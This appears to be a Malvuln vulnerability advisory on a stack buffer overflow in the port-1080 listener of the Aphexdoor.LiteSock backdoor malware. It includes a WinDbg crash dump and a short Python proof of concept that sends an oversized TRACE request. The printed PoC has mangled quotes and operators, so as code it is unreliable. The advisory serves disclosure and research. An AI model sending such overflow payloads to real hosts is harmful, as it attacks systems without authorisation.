Backdoor.Win32.Aphexdoor.LiteSock MVID-2022-0653 Buffer Overflow

Discovery / credits: Malvuln (John Page aka hyp3rlinx) © 2022
Original source: https://malvuln.com/advisory/2047ac6183da4dfb61d2562721ba0720.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Aphexdoor.LiteSock
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware drops an extensionless PE file named “3” which listens on TCP port 1080. Third-party attackers who can reach an infected host can send a specially crafted packet to port 1080, that will trigger a stack buffer overflow overwriting ECX register and SEH.
Family: Aphexdoor
Type: PE32
MD5: 2047ac6183da4dfb61d2562721ba0720
Vuln ID: MVID-2022-0653
Dropped files: “3”
ASLR: False
DEP: False
CFG: False
Safe SEH: False
Disclosure: 11/09/2022

Memory Dump:
(135c.27c8): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=02651848 edi=02651d0c
eip=7770e916 esp=02651790 ebp=02651830 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
ntdll!ZwQueryInformationProcess+0x26:
7770e916 c21400 ret 14h

0:004> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77729d70 esi=02651848 edi=02651d0c
eip=7770e916 esp=02651790 ebp=02651830 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
ntdll!ZwQueryInformationProcess+0x26:
7770e916 c21400 ret 14h

0:004> !analyze -v

---

•                                                                         *  
  

•                    Exception Analysis                                   *  
  

•                                                                         *  
  

---

*** WARNING: Unable to verify checksum for 3
*** ERROR: Module load completed but symbols could not be loaded for 3
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
+26
312e312f ?? ???

EXCEPTION_RECORD: 0274fadc – (.exr 0x274fadc)
ExceptionAddress: 312e312f
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 312e312f
Attempt to read from address 312e312f

PROCESS_NAME: 3

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000001

EXCEPTION_PARAMETER2: 02650fe8

WRITE_ADDRESS: 02650fe8

FOLLOWUP_IP:
+26
51bb743d e89efdffff call 51bb71e0

FAILED_INSTRUCTION_ADDRESS:
+26
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

CONTEXT: 0274fb2c – (.cxr 0x274fb2c)
eax=00000001 ebx=00000234 ecx=72b87bf5 edx=00000001 esi=004011a8 edi=004011a8
eip=312e312f esp=0274ff8c ebp=50545448 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
312e312f ?? ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER: from 203a7473 to 312e312f

FAULTING_THREAD: ffffffff

DEFAULT_BUCKET_ID: STACKIMMUNE

PRIMARY_PROBLEM_CLASS: STACKIMMUNE

BUGCHECK_STR: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141

IP_ON_HEAP: 203a7473
The fault address in not in any loaded module, please check your build’s rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 203a7473

FRAME_ONE_INVALID: 1

STACK_TEXT:
00000000 00000000 3+0x0

STACK_COMMAND: .cxr 000000000274FB2C ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME: 3

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: 3

DEBUG_FLR_IMAGE_TIMESTAMP: 21475346

FAILURE_BUCKET_ID: STACKIMMUNE_c0000005_3!Unknown

BUCKET_ID: APPLICATION_FAULT_STACKIMMUNE_STACK_OVERFLOW_BAD_INSTRUCTION_PTR_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_3

0:004> !exchain
0265175c: ntdll!ExecuteHandler2+44 (77729d70)
0274ffcc: 41414141
Invalid exception stack at 41414141

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=1080

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOAD="TRACE /"+"A"72+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\X-Request-ID: “+"A”72

s.send(PAYLOAD.encode())
s.close()
print(“Aphexdoor.LiteSock Buffer Overflow by Malvuln”)

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